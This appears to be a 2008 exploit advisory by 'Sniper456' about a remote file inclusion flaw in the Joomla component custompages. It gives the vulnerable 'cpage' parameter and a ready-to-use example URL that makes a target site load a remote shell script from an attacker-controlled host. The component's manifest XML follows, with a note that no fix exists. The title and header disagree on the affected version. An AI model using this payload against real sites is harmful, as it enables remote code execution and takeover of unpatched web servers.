Joomla Components custompages 1.1 Remote File Inclusion Vulnerability

2008-03-22 00:00:00

@ JOOmla Component custompages <= 1.0 Sql Remote file Inclusion


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer: Shawn Sandy

License:Other open source / Free license

Dork: 8=====B ! =)

**Bug:

http://www.target.com/index.php?option=com_custompages&cpage=URL

**Example

http://www.target.com/index.php?option=com_custompages&cpage=http://atackweeb.cl/colocoloshell.txt?

side note:

<name>custompages</name>
<creationDate>06/11/2006</creationDate>
<author>Shawn Sandy</author>
<copyright>Copyright 2006 - Shawn Sandy</copyright>
<license>License</license>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.sstreamtv.com</authorUrl>
<version>1.1</version>

#

Fixes

No fixes

In order to submit a new fix you need to be registered.